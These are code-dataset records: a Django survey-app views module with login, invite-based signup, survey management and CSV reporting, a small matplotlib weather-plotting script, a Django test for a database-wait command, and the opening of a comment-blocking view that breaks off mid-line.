ensure_csrf_cookie\nfrom django.shortcuts import render, render_to_response, get_object_or_404\nfrom django.core.context_processors import csrf\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseForbidden\nfrom django.template import RequestContext, loader\nfrom django.views.decorators.http import require_POST\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.forms.models import modelformset_factory, inlineformset_factory\nfrom django.db.models import Q\n\nfrom survey.models import Survey, SurveyQuestion, Question, Data, Multidata, \\\n Comment, Module, get_survey_url, SurveyForm, QuestionForm, SurveyQuestionForm, \\\n Invite, InviteForm\n\n@login_required\ndef index(request):\n surveys = Survey.objects.filter(user=request.user.id)\n template = loader.get_template('survey/index.html')\n context = RequestContext(request, {\n 'surveys': surveys,\n })\n return HttpResponse(template.render(context))\n\n@ensure_csrf_cookie\ndef logout_view(request):\n logout(request)\n return HttpResponseRedirect('/survey/login/')\n\n@ensure_csrf_cookie\ndef login_view(request):\n if request.POST:\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return HttpResponseRedirect('/survey/')\n return render(request, 'survey/login.html', {})\n\ndef signup(request):\n if request.POST:\n username = request.POST['username']\n password1 = request.POST['password1']\n password2 = request.POST['password2']\n email = request.POST['email']\n code = request.POST['code']\n\n # validate the username, email, password, and code\n\n if password1!=password2:\n messages.error(request, 'Passwords do not match.')\n return HttpResponseRedirect('/survey/signup/')\n\n if User.objects.filter(email=email).exists():\n messages.error(request, 'A user already exists for the email address provided.')\n return HttpResponseRedirect('/survey/signup/')\n\n if User.objects.filter(username=username).exists():\n messages.error(request, 'Username not available.')\n return HttpResponseRedirect('/survey/signup/')\n\n try:\n invite = Invite.objects.get(code=code)\n except Invite.DoesNotExist:\n messages.error(request, 'Invalid invite code. Try again or contact thoyt at berkeley.edu for an invite.')\n return HttpResponseRedirect('/survey/signup/')\n\n if invite.used:\n messages.error(request, 'Invite code already used. Try again or contact thoyt at berkeley.edu for an invite.')\n return HttpResponseRedirect('/survey/signup/')\n\n invite.used = True\n invite.fresh = False # in case someone forgot to mark it unfresh\n invite.save()\n\n user = User.objects.create_user(username, email=email, password=password2)\n user = authenticate(username=username, password=password2)\n login(request, user)\n messages.success(request, 'Signup successful! Create your first survey below.')\n return HttpResponseRedirect('/survey/')\n if request.user.is_authenticated():\n return HttpResponseRedirect('/survey/')\n return render(request, 'survey/signup.html')\n\n@ensure_csrf_cookie\ndef welcome(request, survey_url):\n survey = Survey.objects.get(url__exact=survey_url)\n ctx = {\n 'survey': survey,\n 'workstation': request.session.get('workstation'), \n }\n return render(request, 'survey/welcome.html', ctx)\n\ndef user_question_form(user):\n class UserQuestionForm(SurveyQuestionForm):\n def __init__(self, **kwargs):\n super(SurveyQuestionForm, self).__init__(**kwargs)\n self.fields['question'].queryset = Question.objects.filter(Q(user=user) | Q(user=None))\n\n return UserQuestionForm\n\n@login_required\ndef manage_survey(request, survey_id=None):\n UserQuestionForm = user_question_form(request.user.id)\n SurveyQuestionFormset = inlineformset_factory(Survey, SurveyQuestion, form=UserQuestionForm)\n if survey_id is not None:\n survey = get_object_or_404(Survey, id__exact=int(survey_id))\n if survey.user != request.user:\n return HttpResponseForbidden()\n else:\n survey = None\n\n if request.POST:\n survey_form = SurveyForm(request.POST, instance=survey)\n if not survey_form.is_valid():\n messages.error(request, 'Please complete required fields.')\n return HttpResponseRedirect('/survey/create/')\n survey_instance = survey_form.save(commit=False)\n survey_instance.user_id = request.user.id\n survey_instance.save()\n\n survey_question_formset = SurveyQuestionFormset(request.POST, instance=survey)\n if survey_question_formset.is_valid():\n survey_question_instance = survey_question_formset.save(commit=False)\n for sqi in survey_question_instance:\n sqi.survey_id = survey_instance.id\n sqi.save()\n\n if survey_id is None:\n messages.success(request, 'New survey successfully created.')\n else:\n messages.success(request, 'Survey successfully updated.')\n\n return HttpResponseRedirect('/survey/')\n\n else:\n survey_form = SurveyForm(instance=survey)\n survey_question_formset = SurveyQuestionFormset(instance=survey)\n\n ctx = {\n 'survey_form': survey_form,\n 'survey_question_formset': survey_question_formset\n }\n return render(request, 'survey/manage_survey.html', ctx)\n\n@login_required\ndef manage_question(request, question_id=None):\n\n if question_id is not None:\n question = get_object_or_404(Question, id__exact=int(question_id))\n if question.user != request.user:\n return HttpResponseForbidden()\n else:\n question = None\n\n if request.POST:\n question_form = QuestionForm(request.POST, instance=question)\n if not question_form.is_valid():\n messages.error(request, 'Please complete required fields.')\n return HttpResponseRedirect('/survey/questions/create/')\n question_instance = question_form.save(commit=False)\n question_instance.user_id = request.user.id\n question_instance.save()\n\n if question_id is None:\n messages.success(request, 'New question successfully created.')\n else:\n messages.success(request, 'Question successfully updated.')\n\n return HttpResponseRedirect('/survey/questions/')\n\n else:\n question_form = QuestionForm(instance=question)\n ctx = {\n 'question_form': question_form,\n }\n return render(request, 'survey/manage_question.html', ctx)\n\n@login_required\ndef view_question(request, question_id):\n question = get_object_or_404(Question, id=question_id) \n if question.user is None or (question.user==request.user):\n ctx = {'question': question}\n return render(request, 'survey/view_question.html', ctx)\n else:\n return HttpResponseForbidden()\n \n@login_required\ndef questions(request):\n user_questions = Question.objects.filter(user=int(request.user.id))\n core_questions = Question.objects.filter(user=None)\n ctx = {\n 'core_questions': core_questions,\n 'user_questions': user_questions,\n }\n return render(request, 'survey/questions.html', ctx)\n\n\ndef serialize_survey_questions(survey_questions):\n questions_json = []\n for q in survey_questions:\n keys = ['id', 'order', 'mandatory', 'question']\n qkeys = ['id', 'qtype', 'choices', 'text', 'value_map', 'name']\n obj = {k: getattr(q, k) for k in keys}\n obj['question'] = {k: getattr(obj['question'], k) for k in qkeys}\n questions_json.append(obj)\n\n return json.dumps(questions_json)\n\ndef survey(request, survey_url):\n if request.session['workstation'] is None:\n return HttpResponseRedirect('/survey/' + survey_url)\n survey = get_object_or_404(Survey, url=survey_url) \n survey_questions = SurveyQuestion.objects.filter(survey_id=survey.id) \\\n .order_by('order').select_related('question')\n\n questions_json = serialize_survey_questions(survey_questions)\n ctx = { \n 'survey': survey, \n 'questions': survey_questions,\n 'json': questions_json\n }\n return render(request, 'survey/survey.html', ctx)\n\n@require_POST\ndef session(request, survey_url):\n c = {}\n c.update(csrf(request))\n request.session['workstation'] = str(request.POST['workstation'])\n return HttpResponse(200)\n\n@require_POST\ndef submit(request, survey_url):\n c = {}\n c.update(csrf(request))\n workstation = request.session['workstation']\n d = json.loads(request.body)\n now = datetime.datetime.now(pytz.utc)\n for r in d:\n q = Question.objects.get(id=r['question'])\n s = Survey.objects.get(id=r['survey'])\n if 'value' in r:\n data = Data(datetime=now, survey=s, question=q, \n subject_id=workstation, value=Decimal(r['value']))\n data.save()\n elif 'multivalue' in r:\n multidata = Multidata(datetime=now, survey=s, question=q, \n subject_id=workstation, multivalue=r['multivalue'])\n multidata.save()\n elif 'comment' in r:\n comment = Comment(datetime=now, survey=s, question=q, \n subject_id=workstation, comment=r['comment'])\n comment.save()\n return HttpResponse(200)\n\ndef thanks(request, survey_url):\n return render(request, 'survey/thanks.html', {'survey': survey})\n\n@login_required\ndef report(request, survey_url):\n survey = get_object_or_404(Survey, url=survey_url)\n survey_questions = SurveyQuestion.objects.filter(survey_id=survey.id) \\\n .order_by('order').select_related('question')\n questions_json = serialize_survey_questions(survey_questions)\n\n # Numerical data\n data = Data.objects.filter(survey=survey)\n data_json = []\n keys = ['question_id','value']\n for d in data:\n data_json.append({ k: float(d.__dict__.get(k)) for k in keys })\n\n #Multichoice data\n multidata = Multidata.objects.filter(survey=survey)\n multidata_json =[]\n keys = ['question_id','multivalue']\n for md in multidata:\n multidata_json.append({ k: md.__dict__.get(k) for k in keys})\n\n # Comments\n comments = Comment.objects.filter(survey=survey)\n comments_json = []\n keys = ['question_id', 'comment']\n for c in comments: \n comments_json.append({ k: c.__dict__.get(k) for k in keys })\n\n ctx = { 'survey': survey, \n 'data': json.dumps(data_json),\n 'multidata': json.dumps(multidata_json), \n 'questions': questions_json, \n 'comments': json.dumps(comments_json)\n }\n return render(request, 'survey/report.html', ctx)\n\n@login_required\ndef render_csv(request, survey_url):\n survey = get_object_or_404(Survey, url=survey_url)\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"report-%s.csv\"' % survey.name\n writer = csv.writer(response)\n data = Data.objects.filter(survey=survey)\n multidata = Multidata.objects.filter(survey=survey)\n comments = Comment.objects.filter(survey=survey)\n local_tz = pytz.timezone('US/Pacific')\n for d in data:\n now = d.datetime.replace(tzinfo=pytz.utc).astimezone(local_tz).strftime(\"%Y-%m-%d %H:%M:%S\")\n writer.writerow([now, d.subject_id, d.question, d.question.id, d.value])\n for md in multidata:\n now = md.datetime.replace(tzinfo=pytz.utc).astimezone(local_tz).strftime(\"%Y-%m-%d %H:%M:%S\")\n writer.writerow([now, md.subject_id, md.question, md.question_id, md.multivalue])\n for c in comments:\n nfkd_comment = unicodedata.normalize('NFKD', c.comment).encode('ascii', 'ignore')\n now = c.datetime.replace(tzinfo=pytz.utc).astimezone(local_tz).strftime(\"%Y-%m-%d %H:%M:%S\")\n writer.writerow([now, c.subject_id, c.question, c.question.id, nfkd_comment])\n return response\n\n@staff_member_required\ndef manage_invites(request):\n\n InviteFormset = modelformset_factory(Invite, form=InviteForm, extra=0)\n if request.method == 'POST':\n invite_formset = InviteFormset(request.POST)\n if invite_formset.is_valid():\n invite_formset.save()\n messages.success(request, 'Successfully updated invites.')\n\n # check number of active invites\n invites = Invite.objects.filter(fresh=True)\n N = len(invites)\n if N < 10:\n # generate enough fresh ones\n for _ in range(10 - N):\n invite = Invite()\n invite.save()\n\n invites = Invite.objects.filter(fresh=True)\n invite_formset = InviteFormset(queryset=invites)\n return render(request, 'survey/invites.html', {'invite_formset': invite_formset, 'codes': invites})\n\n", "repo_name": "CenterForTheBuiltEnvironment/right_now", "sub_path": "right_now/survey/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 13486, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "survey.models.Survey.objects.filter", "line_number": 28, "usage_type": "call"}, {"api_name": "survey.models.Survey.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "survey.models.Survey", "line_number": 28, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 29, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 29, "usage_type": "name"}, {"api_name": "django.template.RequestContext", "line_number": 30, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.auth.logout", "line_number": 37, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 38, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.ensure_csrf_cookie", "line_number": 35, "usage_type": "name"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 48, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 49, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 50, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.ensure_csrf_cookie", "line_number": 40, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 63, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 63, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 64, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 66, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 66, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 67, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 70, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 70, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 71, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 72, "usage_type": "call"}, {"api_name": "survey.models.Invite.objects.get", "line_number": 75, "usage_type": "call"}, {"api_name": "survey.models.Invite.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "survey.models.Invite", "line_number": 75, "usage_type": "name"}, {"api_name": "survey.models.Invite.DoesNotExist", "line_number": 76, "usage_type": "attribute"}, {"api_name": "survey.models.Invite", "line_number": 76, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 77, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 78, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 81, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 81, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 82, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 88, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 88, "usage_type": "name"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 90, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 91, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 91, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 92, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 94, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 95, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 99, "usage_type": "name"}, {"api_name": "survey.models.Survey.objects.get", "line_number": 99, "usage_type": "call"}, {"api_name": "survey.models.Survey.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "survey.models.Survey", "line_number": 99, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 101, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 104, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.ensure_csrf_cookie", "line_number": 97, "usage_type": "name"}, {"api_name": "survey.models.SurveyQuestionForm", "line_number": 107, "usage_type": "name"}, {"api_name": "survey.models.SurveyQuestionForm", "line_number": 109, "usage_type": "argument"}, {"api_name": "survey.models.Question.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "survey.models.Question.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "survey.models.Question", "line_number": 110, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 110, "usage_type": "call"}, {"api_name": "django.forms.models.inlineformset_factory", "line_number": 117, "usage_type": "call"}, {"api_name": "survey.models.Survey", "line_number": 117, "usage_type": "argument"}, {"api_name": "survey.models.SurveyQuestion", "line_number": 117, "usage_type": "argument"}, {"api_name": "survey.models", "line_number": 119, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 119, "usage_type": "call"}, {"api_name": "survey.models.Survey", "line_number": 119, "usage_type": "argument"}, {"api_name": "survey.models.user", "line_number": 120, "usage_type": "attribute"}, {"api_name": "survey.models", "line_number": 120, "usage_type": "name"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 121, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 123, "usage_type": "name"}, {"api_name": "survey.models.SurveyForm", "line_number": 126, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 126, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 128, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 128, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 129, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 134, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 142, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 142, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 144, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 144, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 146, "usage_type": "call"}, {"api_name": "survey.models.SurveyForm", "line_number": 149, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 149, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 150, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 156, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 114, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 162, "usage_type": "call"}, {"api_name": "survey.models.Question", "line_number": 162, "usage_type": "argument"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 164, "usage_type": "call"}, {"api_name": "survey.models.QuestionForm", "line_number": 169, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 171, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 171, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 172, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 178, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 178, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 180, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 180, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 182, "usage_type": "call"}, {"api_name": "survey.models.QuestionForm", "line_number": 185, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 189, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 158, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 193, "usage_type": "call"}, {"api_name": "survey.models.Question", "line_number": 193, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 196, "usage_type": "call"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 198, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 191, "usage_type": "name"}, {"api_name": "survey.models.Question.objects.filter", "line_number": 202, "usage_type": "call"}, {"api_name": "survey.models.Question.objects", "line_number": 202, "usage_type": "attribute"}, {"api_name": "survey.models.Question", "line_number": 202, "usage_type": "name"}, {"api_name": "survey.models.Question.objects.filter", "line_number": 203, "usage_type": "call"}, {"api_name": "survey.models.Question.objects", "line_number": 203, "usage_type": "attribute"}, {"api_name": "survey.models.Question", "line_number": 203, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 208, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 200, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 220, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 224, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 225, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 225, "usage_type": "call"}, {"api_name": "survey.models.Survey", "line_number": 225, "usage_type": "argument"}, {"api_name": "survey.models.SurveyQuestion.objects.filter", "line_number": 226, "usage_type": "call"}, {"api_name": "survey.models.SurveyQuestion.objects", "line_number": 226, "usage_type": "attribute"}, {"api_name": "survey.models.SurveyQuestion", "line_number": 226, "usage_type": "name"}, {"api_name": "survey.models.id", "line_number": 226, "usage_type": "attribute"}, {"api_name": "survey.models", "line_number": 226, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 231, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 235, "usage_type": "call"}, {"api_name": "django.core.context_processors.csrf", "line_number": 240, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 242, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 237, "usage_type": "name"}, {"api_name": "django.core.context_processors.csrf", "line_number": 247, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 249, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 250, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 250, "usage_type": "attribute"}, {"api_name": "pytz.utc", "line_number": 250, "usage_type": "attribute"}, {"api_name": "survey.models.Question.objects.get", "line_number": 252, "usage_type": "call"}, {"api_name": "survey.models.Question.objects", "line_number": 252, "usage_type": "attribute"}, {"api_name": "survey.models.Question", "line_number": 252, "usage_type": "name"}, {"api_name": "survey.models.Survey.objects.get", "line_number": 253, "usage_type": "call"}, {"api_name": "survey.models.Survey.objects", "line_number": 253, "usage_type": "attribute"}, {"api_name": "survey.models.Survey", "line_number": 253, "usage_type": "name"}, {"api_name": "survey.models.Data", "line_number": 255, "usage_type": "call"}, {"api_name": "survey.models.Multidata", "line_number": 259, "usage_type": "call"}, {"api_name": "survey.models.Comment", "line_number": 263, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 266, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 244, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 269, "usage_type": "call"}, {"api_name": "survey.models", "line_number": 269, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 273, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 273, "usage_type": "call"}, {"api_name": "survey.models.Survey", "line_number": 273, "usage_type": "argument"}, {"api_name": "survey.models.SurveyQuestion.objects.filter", "line_number": 274, "usage_type": "call"}, {"api_name": "survey.models.SurveyQuestion.objects", "line_number": 274, "usage_type": "attribute"}, {"api_name": "survey.models.SurveyQuestion", "line_number": 274, "usage_type": "name"}, {"api_name": "survey.models.id", "line_number": 274, "usage_type": "attribute"}, {"api_name": "survey.models", "line_number": 274, "usage_type": "name"}, {"api_name": "survey.models.Data.objects.filter", "line_number": 279, "usage_type": "call"}, {"api_name": "survey.models.Data.objects", "line_number": 279, "usage_type": "attribute"}, {"api_name": "survey.models.Data", "line_number": 279, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 279, "usage_type": "name"}, {"api_name": "survey.models.Multidata.objects.filter", "line_number": 286, "usage_type": "call"}, {"api_name": "survey.models.Multidata.objects", "line_number": 286, "usage_type": "attribute"}, {"api_name": "survey.models.Multidata", "line_number": 286, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 286, "usage_type": "name"}, {"api_name": "survey.models.Comment.objects.filter", "line_number": 293, "usage_type": "call"}, {"api_name": "survey.models.Comment.objects", "line_number": 293, "usage_type": "attribute"}, {"api_name": "survey.models.Comment", "line_number": 293, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 293, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 299, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 300, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 301, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 303, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 305, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 271, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 309, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 309, "usage_type": "call"}, {"api_name": "survey.models.Survey", "line_number": 309, "usage_type": "argument"}, {"api_name": "django.http.HttpResponse", "line_number": 310, "usage_type": "call"}, {"api_name": "survey.models.name", "line_number": 311, "usage_type": "attribute"}, {"api_name": "survey.models", "line_number": 311, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 312, "usage_type": "call"}, {"api_name": "survey.models.Data.objects.filter", "line_number": 313, "usage_type": "call"}, {"api_name": "survey.models.Data.objects", "line_number": 313, "usage_type": "attribute"}, {"api_name": "survey.models.Data", "line_number": 313, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 313, "usage_type": "name"}, {"api_name": "survey.models.Multidata.objects.filter", "line_number": 314, "usage_type": "call"}, {"api_name": "survey.models.Multidata.objects", "line_number": 314, "usage_type": "attribute"}, {"api_name": "survey.models.Multidata", "line_number": 314, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 314, "usage_type": "name"}, {"api_name": "survey.models.Comment.objects.filter", "line_number": 315, "usage_type": "call"}, {"api_name": "survey.models.Comment.objects", "line_number": 315, "usage_type": "attribute"}, {"api_name": "survey.models.Comment", "line_number": 315, "usage_type": "name"}, {"api_name": "survey.models", "line_number": 315, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 316, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 318, "usage_type": "attribute"}, {"api_name": "pytz.utc", "line_number": 321, "usage_type": "attribute"}, {"api_name": "unicodedata.normalize", "line_number": 324, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 325, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 307, "usage_type": "name"}, {"api_name": "django.forms.models.modelformset_factory", "line_number": 332, "usage_type": "call"}, {"api_name": "survey.models.Invite", "line_number": 332, "usage_type": "argument"}, {"api_name": "survey.models.InviteForm", "line_number": 332, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 337, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 337, "usage_type": "name"}, {"api_name": "survey.models.Invite.objects.filter", "line_number": 340, "usage_type": "call"}, {"api_name": "survey.models.Invite.objects", "line_number": 340, "usage_type": "attribute"}, {"api_name": "survey.models.Invite", "line_number": 340, "usage_type": "name"}, {"api_name": "survey.models.Invite", "line_number": 345, "usage_type": "call"}, {"api_name": "survey.models.Invite.objects.filter", "line_number": 348, "usage_type": "call"}, {"api_name": "survey.models.Invite.objects", "line_number": 348, "usage_type": "attribute"}, {"api_name": "survey.models.Invite", "line_number": 348, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 350, "usage_type": "call"}, {"api_name": "django.contrib.admin.views.decorators.staff_member_required", "line_number": 329, "usage_type": "name"}]} {"seq_id": "71173440253", "text": "#\n# weather.py: Pritn min and max temps from a file\n#\t\t (source: http://www.bom.gov.au/climate/)\n\nimport matplotlib.pyplot as plt\n\n\n\nfileobj = open('marchweather.csv','r')\n\n#[line 1, line 2]\n\ndata = fileobj.readlines()\nprint(\"data \", data)\n\n# add file reading code here\n\nfileobj.close()\n\nprint(\"data 0\", data[0])\nprint(\"data 1\", data[1])\nmins = data[0].split(',')\nprint(\"mins\" , mins)\nmaxs = data[1].split(',')\nprint(\"maxs\", maxs)\ndates = range(1,32)\n\nplt.plot(dates, mins, dates, maxs)\nplt.show()\n\n", "repo_name": "readyjune/FOP", "sub_path": "Prac05/weather.py", "file_name": "weather.py", "file_ext": "py", "file_size_in_byte": 499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}]} {"seq_id": "25748440015", "text": "from django.db.utils import OperationalError\nfrom django.core.management import call_command\nfrom django.test import TestCase\n\nfrom unittest.mock import patch\n\n\nclass CommandTests(TestCase):\n def test_wait_for_db_ready(self):\n \"\"\"test waiting for db when db is valid\"\"\"\n # override the connection state to true\n with patch('django.db.utils.ConnectionHandler.__getitem__') as gi:\n gi.return_value = True\n call_command('wait_for_db')\n # count call, should be only once\n self.assertEqual(gi.call_count, 1)\n\n @patch('time.sleep', return_value=True)\n def test_wait_for_db(self, ts):\n \"\"\"testing wait for db\"\"\"\n with patch('django.db.utils.ConnectionHandler.__getitem__') as gi:\n # try for five times, if 6th time success, return true\n gi.side_effect = [OperationalError]*5+[True]\n call_command('wait_for_db')\n self.assertEqual(gi.call_count, 6)\n", "repo_name": "QingyunXu/drf-app-api", "sub_path": "app/core/tests/test_commands.py", "file_name": "test_commands.py", "file_ext": "py", "file_size_in_byte": 972, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.test.TestCase", "line_number": 8, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 12, "usage_type": "call"}, {"api_name": "django.core.management.call_command", "line_number": 14, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.utils.OperationalError", "line_number": 23, "usage_type": "name"}, {"api_name": "django.core.management.call_command", "line_number": 24, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 18, "usage_type": "call"}]} {"seq_id": "27101819299", "text": "from django.views import View\n\nfrom comment.models import BlockedUser, BlockedUserHistory, Comment\nfrom comment.mixins import CanBlockUsersMixin\nfrom comment.responses import UTF8JsonResponse, DABResponseData\nfrom comment.messages import BlockUserError\n\n\nclass BaseToggleBlockingView(DABResponseData):\n response_class = None\n\n def get_response_class(self):\n assert self.response_class is not None, (\n \"'%s' should either include a `response_class` attribute, \"\n \"or override the `get_response_class()` method.\"\n % self.__class__.__name__\n )\n return self.response_class\n\n def post(self, request, *args, **kwargs):\n response_class = self.get_response_class()\n request_data = request.POST or getattr(request, 